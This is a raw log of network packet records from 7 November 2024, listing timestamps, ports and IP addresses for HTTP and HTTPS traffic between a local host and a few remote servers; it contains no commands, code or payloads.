Nov 7, 2024 17:25:48.007620096 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007632971 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007641077 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007651091 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007664919 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007678986 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007797003 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007810116 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007821083 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007846117 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007867098 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007886887 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007899046 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007935047 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.007956982 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007968903 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007981062 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.007992029 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.008002043 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008019924 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008030891 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.008054018 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008063078 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.008107901 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.008133888 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008146048 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008157015 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008166075 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.008183956 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.008199930 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.008204937 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008239031 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.008326054 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008337021 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008363962 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.008378983 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.008415937 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008433104 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008446932 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008460045 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.008466959 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008487940 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.008493900 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008506060 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008514881 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.008524895 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008533955 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.008554935 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.008568048 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008579969 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008591890 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008601904 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.008624077 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.008797884 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008810997 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008821964 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008831024 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.008843899 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008852959 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.008862972 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008874893 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008897066 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.008918047 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.008938074 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008949041 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008960962 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.008980036 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.008992910 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.009016991 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.009066105 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.009077072 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.009107113 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.009116888 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.009141922 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.009154081 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.009166002 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.009188890 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.009213924 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.009227991 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.009238958 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.009249926 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.009273052 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.009300947 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.035330057 CET	443	49997	108.156.211.71	192.168.2.6
Nov 7, 2024 17:25:48.048892021 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.048902988 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.048914909 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.048932076 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.048943996 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.048953056 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.048995018 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.100053072 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.100080967 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.100120068 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.100131989 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:48.100159883 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.100181103 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:48.120045900 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.120100021 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.120110035 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.120121956 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.120140076 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.120156050 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.120312929 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.120362043 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.120378017 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.120388031 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.120408058 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.120418072 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.120436907 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.120449066 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.120459080 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.120469093 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.120496035 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.120528936 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.120563984 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.120574951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.120589018 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.120599031 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.120606899 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.120646954 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.120785952 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.120795965 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.120826960 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.120852947 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.120888948 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.120914936 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.120965004 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.121222019 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.121284008 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.121308088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.121325970 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.121337891 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.121345997 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.121356964 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.121373892 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.121398926 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.121414900 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.121427059 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.121438026 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.121465921 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.121486902 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.121541023 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.121551037 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.121568918 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.121577024 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.121588945 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.121598959 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.121607065 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.121617079 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.121635914 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.121671915 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.121737003 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.121777058 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.121812105 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.121829033 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.121839046 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.121864080 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.121881962 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.121893883 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.121905088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.121917009 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.121928930 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.121938944 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.121965885 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.121978045 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.121993065 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122000933 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122009993 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122029066 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122036934 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122047901 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122061014 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122067928 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122088909 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122103930 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122112989 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122122049 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122133970 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122150898 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122159004 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122170925 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122184038 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122200012 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122205019 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122215986 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122237921 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122366905 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122379065 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122390032 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122400999 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122410059 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122426033 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122433901 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122445107 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122452974 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122473955 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122481108 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122489929 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122505903 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122514963 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122525930 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122534037 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122546911 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122553110 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122564077 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122570038 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122580051 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122589111 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122596979 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122605085 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122621059 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122627974 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122637033 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122644901 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122653961 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122679949 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122735977 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122746944 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122759104 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122767925 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122776985 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.122783899 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122800112 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.122817993 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.123058081 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.123075008 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.123085976 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.123116970 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.123136997 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.123178959 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.123256922 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.123269081 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.123281002 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.123291969 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.123311043 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.123330116 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.123410940 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.123421907 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.123449087 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.123466015 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.123473883 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.123485088 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.123526096 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.123832941 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.123846054 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.123876095 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.123886108 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.123905897 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.123919964 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.123933077 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.123954058 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.123972893 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.123992920 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.124022007 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.124046087 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124058962 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124104023 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.124212980 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124226093 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124237061 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124262094 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.124284983 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124290943 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.124300003 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124310970 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124324083 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124336958 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.124344110 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124356031 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.124372959 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.124387980 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124399900 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124422073 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.124444962 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.124516010 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124649048 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.124656916 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124669075 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124691010 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.124707937 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.124754906 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124766111 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124777079 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124788046 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124799967 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.124808073 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124819994 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124830008 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.124840021 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124849081 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.124857903 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124869108 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124878883 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124895096 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.124907970 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.124913931 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124927998 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124937057 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.124974012 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.124984980 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.124996901 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.125004053 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.125015020 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.125022888 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.125034094 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.125041962 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.125051022 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.125072956 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.125098944 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.125122070 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.125134945 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.125147104 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.125158072 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.125165939 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.125175953 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.125185013 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.125195980 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.125204086 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.125216007 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.125226021 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.125242949 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.125260115 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.162765026 CET	443	49997	108.156.211.71	192.168.2.6
Nov 7, 2024 17:25:48.163083076 CET	443	49997	108.156.211.71	192.168.2.6
Nov 7, 2024 17:25:48.163163900 CET	49997	443	192.168.2.6	108.156.211.71
Nov 7, 2024 17:25:48.163861036 CET	49997	443	192.168.2.6	108.156.211.71
Nov 7, 2024 17:25:48.163861990 CET	49997	443	192.168.2.6	108.156.211.71
Nov 7, 2024 17:25:48.163881063 CET	443	49997	108.156.211.71	192.168.2.6
Nov 7, 2024 17:25:48.163929939 CET	49997	443	192.168.2.6	108.156.211.71
Nov 7, 2024 17:25:48.164397955 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.164484978 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.164506912 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.164516926 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.164527893 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.164547920 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.164556980 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.164566040 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:48.164627075 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:48.164889097 CET	80	49911	95.215.204.182	192.168.2.6
